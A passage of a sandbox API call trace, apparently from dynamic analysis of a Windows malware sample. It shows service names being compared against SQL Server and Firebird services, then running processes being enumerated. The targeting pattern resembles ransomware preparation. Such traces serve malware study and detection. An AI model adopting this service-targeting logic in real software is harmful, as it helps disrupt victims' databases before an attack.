(lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0096.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0096.633] lstrlenW (lpString="Power") returned 5 [0096.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0096.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0096.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0096.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0096.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0096.633] lstrlenW (lpString="ProfSvc") returned 7 [0096.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0096.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0096.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0096.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0096.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0096.633] lstrlenW (lpString="RpcEptMapper") returned 12 [0096.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0096.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0096.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0096.633] lstrlenW (lpString="RpcSs") returned 5 [0096.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0096.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0096.659] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0096.659] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0096.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0096.659] lstrlenW (lpString="SamSs") returned 5 [0096.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0096.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0096.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0096.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0096.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0096.659] lstrlenW (lpString="Schedule") returned 8 [0096.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0096.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0096.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0096.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0096.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0096.660] lstrlenW (lpString="SecurityHealthService") returned 21 [0096.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0096.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0096.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0096.660] lstrlenW (lpString="SENS") returned 4 [0096.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0096.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0096.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0096.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0096.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0096.660] lstrlenW (lpString="ShellHWDetection") returned 16 [0096.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0096.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0096.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0096.660] lstrlenW (lpString="Spooler") returned 7 [0096.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0096.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0096.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0096.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0096.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0096.660] lstrlenW (lpString="SSDPSRV") returned 7 [0096.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.661] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0096.661] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0096.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61fb98 | out: hHeap=0x5c0000) returned 1 [0096.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0096.666] Process32FirstW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.667] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0096.668] lstrlenW (lpString="System") returned 6 [0096.668] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.669] lstrlenW (lpString="smss.exe") returned 8 [0096.669] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.669] lstrlenW (lpString="csrss.exe") returned 9 [0096.669] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.670] lstrlenW (lpString="wininit.exe") returned 11 [0096.670] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.671] lstrlenW (lpString="csrss.exe") returned 9 [0096.671] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.671] lstrlenW (lpString="winlogon.exe") returned 12 [0096.671] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.672] lstrlenW (lpString="services.exe") returned 12 [0096.672] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.673] lstrlenW (lpString="lsass.exe") returned 9 [0096.673] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.673] lstrlenW (lpString="svchost.exe") returned 11 [0096.673] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.674] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.674] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0096.674] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0096.674] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.675] lstrlenW (lpString="svchost.exe") returned 11 [0096.675] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.676] lstrlenW (lpString="dwm.exe") returned 7 [0096.676] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.676] lstrlenW (lpString="svchost.exe") returned 11 [0096.676] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.677] lstrlenW (lpString="svchost.exe") returned 11 [0096.677] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.677] lstrlenW (lpString="svchost.exe") returned 11 [0096.677] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.678] lstrlenW (lpString="svchost.exe") returned 11 [0096.678] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.679] lstrlenW (lpString="svchost.exe") returned 11 [0096.679] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.679] lstrlenW (lpString="svchost.exe") returned 11 [0096.679] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.680] lstrlenW (lpString="svchost.exe") returned 11 [0096.680] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.680] lstrlenW (lpString="svchost.exe") returned 11 [0096.681] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.681] lstrlenW (lpString="svchost.exe") returned 11 [0096.681] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.682] lstrlenW (lpString="spoolsv.exe") returned 11 [0096.682] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.682] lstrlenW (lpString="svchost.exe") returned 11 [0096.682] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.683] lstrlenW (lpString="svchost.exe") returned 11 [0096.683] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.684] lstrlenW (lpString="audiodg.exe") returned 11 [0096.684] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.684] lstrlenW (lpString="sihost.exe") returned 10 [0096.684] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.685] lstrlenW (lpString="svchost.exe") returned 11 [0096.685] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.685] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.685] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.686] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0096.686] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0096.687] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0096.687] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.687] lstrlenW (lpString="explorer.exe") returned 12 [0096.687] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0096.688] lstrlenW (lpString="Memory Compression") returned 18 [0096.688] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.689] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0096.689] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.689] lstrlenW (lpString="SearchUI.exe") returned 12 [0096.689] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.690] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0096.690] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.691] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.691] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0096.691] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0096.691] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0096.692] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0096.692] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0096.692] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0096.692] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0096.693] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0096.693] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.694] lstrlenW (lpString="conhost.exe") returned 11 [0096.694] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0096.694] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0096.694] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0096.695] lstrlenW (lpString="upper arc.exe") returned 13 [0096.695] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0096.696] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0096.696] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0096.696] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0096.696] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0096.697] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0096.697] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0096.697] lstrlenW (lpString="blademcdonald.exe") returned 17 [0096.698] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0096.698] lstrlenW (lpString="courage.exe") returned 11 [0096.698] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0096.699] lstrlenW (lpString="pearl.exe") returned 9 [0096.699] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0096.700] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0096.700] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0096.700] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0096.701] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0096.701] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0096.701] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0096.702] lstrlenW (lpString="dome.exe") returned 8 [0096.702] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0096.702] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0096.702] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, 